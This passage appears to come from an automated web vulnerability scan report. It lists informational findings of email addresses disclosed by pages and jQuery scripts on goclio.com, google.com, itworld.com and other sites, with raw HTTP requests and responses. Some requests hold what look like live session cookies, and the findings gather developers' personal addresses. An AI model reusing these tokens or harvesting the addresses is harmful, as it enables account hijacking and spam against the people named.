User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 200 OK
Age: 357554
Date: Thu, 15 Sep 2011 17:16:43 GMT
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "35c0a1-aaf-3072b480"
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Last-Modified: Thu, 24 Jun 2010 20:06:26 GMT
Accept-Ranges: bytes
Cteonnt-Length: 2735
Keep-Alive: timeout=10
Content-Type: application/x-javascript
Cache-Control: private
Content-Length: 2735

/* =========================================================

// jquery.innerfade.js

// Datum: 2007-01-29
// Firma: Medienfreunde Hofmann & Baldes GbR
// Autor: Torsten Baldes
// Mail: t.baldes@medienfreunde.com
// Web: http://medienfreunde.com

// based on the work of Matt Oakes http://portfolio.gizone.co.uk/applications/slideshow/

// ========================================================= */

(f
...[SNIP]...

14.121. http://www.goclio.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/

Issue detail

The following email address was disclosed in the response:

info@goclio.com

Request

Response

14.122. http://www.goclio.com/js/facebox/facebox.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/js/facebox/facebox.js

Issue detail

The following email address was disclosed in the response:

chris@ozmm.org

Request

GET /js/facebox/facebox.js HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.goclio.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:24:17 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Wed, 02 Mar 2011 20:44:43 GMT
ETag: "383ad-23dd-49d85fb8744c0"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 9181
Content-Type: application/javascript

/*
* Facebox (for jQuery)
* version: 1.2 (05/05/2008)
* @requires jQuery v1.2 or later
*
* Examples at http://famspam.com/facebox/
*
* Licensed under the MIT:
* http://www.opensource.org/licenses/mit-license.php
*
* Copyright 2007, 2008 Chris Wanstrath [ chris@ozmm.org ]
*
* Usage:
*
* jQuery(document).ready(function() {
* jQuery('a[rel*=facebox]').facebox()
* })
*
* <a href="#terms" rel="facebox">
...[SNIP]...

14.123. http://www.goclio.com/js/plugins.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/js/plugins.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /js/plugins.js HTTP/1.1
Host: www.goclio.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.goclio.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:24:17 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Mon, 04 Apr 2011 17:38:29 GMT
ETag: "383af-1319-4a01b3a44ef40"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 4889
Content-Type: application/javascript

// remap jQuery to $
(function($){

})(this.jQuery);

// usage: log('inside coolFunc',this,arguments);
// paulirish.com/2009/log-a-lightweight-wrapper-for-consolelog/
window.log = funct
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

14.124. http://www.goclio.com/legal/privacy/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/legal/privacy/

Issue detail

The following email addresses were disclosed in the response:

info@goclio.com
support@goclio.com

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:25:42 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Mon, 01 Aug 2011 15:37:14 GMT
ETag: "383df-5d13-4a97367c2de80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 23827
Content-Type: text/html

<!doctype html>



<!--[if IE 7 ]> <html lang="e
...[SNIP]...
<p>If you have questions or concerns regarding this statement, you should first contact us at support@goclio.com . If you do not receive acknowledgement of your inquiry or your inquiry has not been addressed satisfactorily, you should contact TRUSTe at: http://truste.org/consumers/watchdog_complaint.php TRUSTe w
...[SNIP]...
<br />
By email: support@goclio.com<br />
...[SNIP]...
<a href="mailto:info@goclio.com">
...[SNIP]...

14.125. http://www.goclio.com/legal/tos/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/legal/tos/

Issue detail

The following email address was disclosed in the response:

info@goclio.com

Request

Response

14.126. http://www.goclio.com/our_customers/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/our_customers/

Issue detail

The following email address was disclosed in the response:

info@goclio.com

Request

Response

14.127. http://www.goclio.com/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/signup/

Issue detail

The following email addresses were disclosed in the response:

info@goclio.com
support@goclio.com

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:24:22 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Wed, 17 Aug 2011 03:48:24 GMT
ETag: "3831f-7d1a-4aaab5e3c9200"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 32026
Content-Type: text/html

<!doctype html>



<!--[if IE 7 ]> <html lang="e
...[SNIP]...
<a href="">support@goclio.com</a>
...[SNIP]...
<br />
Our Vancouver-based support team is available from 8 a.m. to 8 p.m. Eastern Time (5am to 5pm Pacific Time), Monday to Friday and can be reached by email at support@goclio.com or by phone at 1-888-858-2546.
</p>
...[SNIP]...
<a href="mailto:info@goclio.com">
...[SNIP]...

14.128. http://www.goclio.com/tour/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.goclio.com
Path:	/tour/

Issue detail

The following email address was disclosed in the response:

info@goclio.com

Request

Response

14.129. http://www.google.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

GET / HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjPyFqRf-B0ODOWTiDE99xOOc8RvdQGibPMhmcP610qN-DHB8k6z8ZKlplWLUKEP3dWEI72OUKY84U0zjZ2dOwJHOZWczA6xdlkRwrrTGTkQ6ClNLTQ4ONOC9gLOWYQ5zR2CljOq1RO-s4LLdPs6xoVlnnO6qY1kM7iyGUBole70mO999gxJRMDD84aZSLhlXLa_TFwj4UOugh1muMR40AyHJcRNGXDTOXCL27QwmaPSWsRZbzw7pybi4zMXxNEJkaJnnPm7S6PNHhmHFQ58RIqky0TX53BbS_4Obo4j-cWcY; NID=51=L8sLyGoN_NCfKmwbChYwx27i9PQpxs-tAtDUGzI6yMtp3sYbKLzndVF9mmvyOC96KGBr0BLYz4UhEg80r2vpTUpttHNX2UA0E-bhwXno_fMmQvsqypnRsizMHcEryCXH

Response

HTTP/1.1 200 OK
Date: Tue, 20 Sep 2011 12:41:56 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Set-Cookie: IGTP=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=www.google.com
Set-Cookie: __utmb=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=www.google.com
Set-Cookie: __utmc=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=www.google.com
Set-Cookie: __utma=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=www.google.com
Set-Cookie: __utmz=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=www.google.com
Set-Cookie: __utmx=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=www.google.com
Set-Cookie: IGTP=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.www.google.com
Set-Cookie: __utmb=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.www.google.com
Set-Cookie: __utmc=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.www.google.com
Set-Cookie: __utma=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.www.google.com
Set-Cookie: __utmz=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.www.google.com
Set-Cookie: __utmx=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.www.google.com
Set-Cookie: IGTP=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=google.com
Set-Cookie: __utmb=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=google.com
Set-Cookie: __utmc=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=google.com
Set-Cookie: __utma=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=google.com
Set-Cookie: __utmz=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=google.com
Set-Cookie: __utmx=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=google.com
Set-Cookie: IGTP=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.google.com
Set-Cookie: __utmb=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.google.com
Set-Cookie: __utmc=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.google.com
Set-Cookie: __utma=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.google.com
Set-Cookie: __utmz=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.google.com
Set-Cookie: __utmx=; expires=Mon, 01-Jan-1990 00:00:00 GMT; path=/; domain=.google.com
Server: gws
Content-Length: 48753
X-XSS-Protection: 1; mode=block

<!doctype html><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta name="description" content="Search the world's information, including webpages, images, videos a
...[SNIP]...
on(){m.prm&&m.prm()},Ta=function(a){s("m",function(){m.spn(a)})},Ua=function(a){s("m",function(){m.spp(a)})};n("spn",Ta);n("spp",Ua);Aa("gbd4",Sa);
if(_tvb("true",e)){var Va={g:_tvv("1"),d:_tvv(""),e:"test@fastdial.net",m:"fastdial.net",p:"//lh4.googleusercontent.com/-V_veHrrsDKY/AAAAAAAAAAI/AAAAAAAAAAA/XUAjI0bxyLA/s96-c/photo.jpg",xp:_tvv("1"),mg:"%1$s (delegated)",md:"%1$s (default)"};o.prf=Va}
if(_tvv("1")&&_tvv(
...[SNIP]...
<span id=gbi4m1>test@fastdial.net</span>
...[SNIP]...
<span class=gbps2>test@fastdial.net</span>
...[SNIP]...

14.130. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

Response

14.131. http://www.horde.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.horde.org
Path:	/

Issue detail

The following email addresses were disclosed in the response:

chuck@horde.org
info@horde.org

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 16:41:40 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Vary: Accept-Encoding
Content-Length: 18103
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>The Horde Project</title>
<meta http-equiv="content-type" content="text/html; charset=ut
...[SNIP]...
<input type="hidden" name="business" value="chuck@horde.org" />
...[SNIP]...
<a href="mailto:info@horde.org">info@horde.org</a>
...[SNIP]...

14.132. http://www.infoworld.com/sites/infoworld.com/files/js/js_292164a95ba5cbd3172734997fe7f898.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/infoworld.com/files/js/js_292164a95ba5cbd3172734997fe7f898.js

Issue detail

The following email addresses were disclosed in the response:

brandon.aaron@gmail.com
id@Ls.tc
klaus.hartl@stilbuero.de
paul.bakaus@googlemail.com

Request

GET /sites/infoworld.com/files/js/js_292164a95ba5cbd3172734997fe7f898.js HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:30:40 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 12 Sep 2011 17:53:34 GMT
Accept-Ranges: bytes
Cache-Control: max-age=1209600, public, max-age=600
Expires: Mon, 03 Oct 2011 19:30:40 GMT
Vary: Accept-Encoding
Content-Length: 99366
nnCoection: close
Content-Type: application/x-javascript

// $Id: jquery.js,v 1.12.2.3 2008/06/25 09:38:39 goba Exp $

/*
* jQuery 1.2.6 - New Wave Javascript
*
* Copyright (c) 2008 John Resig (jquery.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
...[SNIP]...
.hav()+q+(qs?qs:s."
+"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f"
+"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L;
...[SNIP]...
<0?'T"
+"rue':t.substring(i+1);if(p.toLowerCase()==k.toLowerCase())return s."
+"epa(v)}return ''");

s.campaign=s.getQueryParam('source');
;/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* $LastCha
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

14.133. http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js

Issue detail

The following email address was disclosed in the response:

brian@cherne.net

Request

Response

14.134. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The following email address was disclosed in the response:

brian@cherne.net

Request

Response

14.135. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:32 GMT
ETag: "456d48-1173-497f4986df500"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 4467
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:27:00 GMT
X-Varnish: 1038163208 1038158540
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 29
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.
...[SNIP]...
ll be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

14.136. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The following email address was disclosed in the response:

diego@kickapps.com

Request

Response

14.137. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The following email address was disclosed in the response:

brandon.aaron@gmail.com

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 30 Dec 2010 20:36:16 GMT
ETag: "45f82e-13b4-498a6a325d000"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 5044
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:07 GMT
X-Varnish: 1959718969 1959715696
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 21
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/* Copyright (c) 2006 Brandon Aaron (http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-li
...[SNIP]...
ided so that one could change
*        the src of the iframe to whatever they need.
*        Default: "javascript:false;"
*
* @name bgiframe
* @type jQuery
* @cat Plugins/bgiframe
* @author Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
*/
$.fn.bgIframe = $.fn.bgiframe = function(s) {
   // This is only for IE6
   if ( $.browser.msie && parseInt($.browser.version) <= 6 ) {
       s = $.extend({
           top : 'auto'
...[SNIP]...

14.138. http://www.law.com/js/advice_email.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.law.com
Path:	/js/advice_email.js

Issue detail

The following email address was disclosed in the response:

yourname@yourdomain.com

Request

GET /js/advice_email.js HTTP/1.1
Host: www.law.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.law.com/jsp/lawtechnologynews/index.jsp?id=1202433024186&Clio_Keeps_Solo_on_Top_of_Her_Practice
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 22 Feb 2010 18:22:08 GMT
ETag: "15aa4ce-746-4803482cd7400"
Accept-Ranges: bytes
Content-Type: application/x-javascript
New_Hostname: /js/advice_email.js@
Vary: Accept-Encoding
Content-Length: 1862
New_Hostname: /js/advice_email.js@
New_Hostname: /js/advice_email.js@
Date: Mon, 19 Sep 2011 20:27:19 GMT
Connection: close

//advice column question handlers

function checkClear(field){
   if(field.value==field.name){
       field.value="";
   }
}

function Form_Validator_Question(theForm) {
   if (!validRequired(theForm.question,"q
...[SNIP]...
< 3) || !isEmailAddr(formField.value)) ){
       alert("Please enter a complete e-mail address in the form:yourname@yourdomain.com");
       formField.focus();
       result = false;
   }
   return result;
}

function isEmailAddr(email){
   var result = false;
   var theStr = new String(email);
   var index = theStr.indexOf("@");
   if (index >
...[SNIP]...

14.139. http://www.lifehacker.com.au/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.lifehacker.com.au
Path:	/

Issue detail

The following email address was disclosed in the response:

tips@lifehacker.com.au

Request

Response

14.140. http://www.lifehacker.com.au/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.lifehacker.com.au
Path:	/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/

Issue detail

The following email address was disclosed in the response:

tips@lifehacker.com.au

Request

Response

14.141. http://www.lifehacker.com.au/2011/09/how-to-cope-with-the-qantas-strike-disruption/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.lifehacker.com.au
Path:	/2011/09/how-to-cope-with-the-qantas-strike-disruption/

Issue detail

The following email address was disclosed in the response:

tips@lifehacker.com.au

Request

Response

14.142. https://www.onekingslane.com/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/contact-us

Issue detail

The following email addresses were disclosed in the response:

customercare@onekingslane.com
info@onekingslane.com
press@onekingslane.com

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:51 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 17497
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
xmlns:og="
...[SNIP]...
<a href="mailto:customercare@onekingslane.com">
...[SNIP]...
<a href="mailto:customercare@onekingslane.com">customercare@onekingslane.com</a>
...[SNIP]...
<a href="mailto:info@onekingslane.com" title="Contact One Kings Lane Buying Team">info@onekingslane.com</a>
...[SNIP]...
<a href="mailto:press@onekingslane.com" title="Contact One Kings Lane's PR Team">press@onekingslane.com</a>
...[SNIP]...

14.143. https://www.onekingslane.com/corporate/careers/tech/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/tech/

Issue detail

The following email address was disclosed in the response:

mhopkins@onekingslane.com

Request

Response

14.144. https://www.onekingslane.com/corporate/careers/tech/js/jquery.dimensions.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/tech/js/jquery.dimensions.min.js

Issue detail

The following email addresses were disclosed in the response:

brandon.aaron@gmail.com
paul.bakaus@googlemail.com

Request

GET /corporate/careers/tech/js/jquery.dimensions.min.js HTTP/1.1
Host: www.onekingslane.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: https://www.onekingslane.com/corporate/careers/tech/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hkic26o0daesor1aqfa67ik070; AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB; WT_FPC=id=2ae8baea513ece5de081316476585393:lv=1316476624655:ss=1316476585393; ZDEDebuggerPresent=php,phtml,php3

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/javascript
Date: Mon, 19 Sep 2011 21:55:56 GMT
ETag: "222026-22e5-4a4497157f400"
Last-Modified: Fri, 27 May 2011 22:27:28 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 8933
Connection: keep-alive

/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* $LastCha
...[SNIP]...

14.145. http://www.ortussolutions.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ortussolutions.com
Path:	/

Issue detail

The following email address was disclosed in the response:

info@ortussolutions.com

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:51:19 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 11436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Ortus Solutions, C
...[SNIP]...
<meta name="Author" content="Luis Majano - info@ortussolutions.com" />
...[SNIP]...

14.146. http://www.ortussolutions.com/products previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ortussolutions.com
Path:	/products

Issue detail

The following email address was disclosed in the response:

info@ortussolutions.com

Request

GET /products HTTP/1.1
Host: www.ortussolutions.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.ortussolutions.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=463913; CFTOKEN=fcf8c721c8b2670e-40BCBA0F-FB46-D832-C6293E0C58B5A1A6; JSESSIONID=8430cd39ec707b2f9ce2567e797f56675177; __utma=119068758.1923299070.1314798151.1314798151.1316461817.2; __utmb=119068758.3.10.1316461817; __utmc=119068758; __utmz=119068758.1316461817.2.2.utmcsr=coldbox.org|utmccn=(referral)|utmcmd=referral|utmcct=/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:05:49 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Content-Length: 6471

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Ortus Solutions, C
...[SNIP]...
<meta name="Author" content="Luis Majano - info@ortussolutions.com" />
...[SNIP]...

14.147. http://www.ortussolutions.com/products/codexwiki previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ortussolutions.com
Path:	/products/codexwiki

Issue detail

The following email address was disclosed in the response:

info@ortussolutions.com

Request

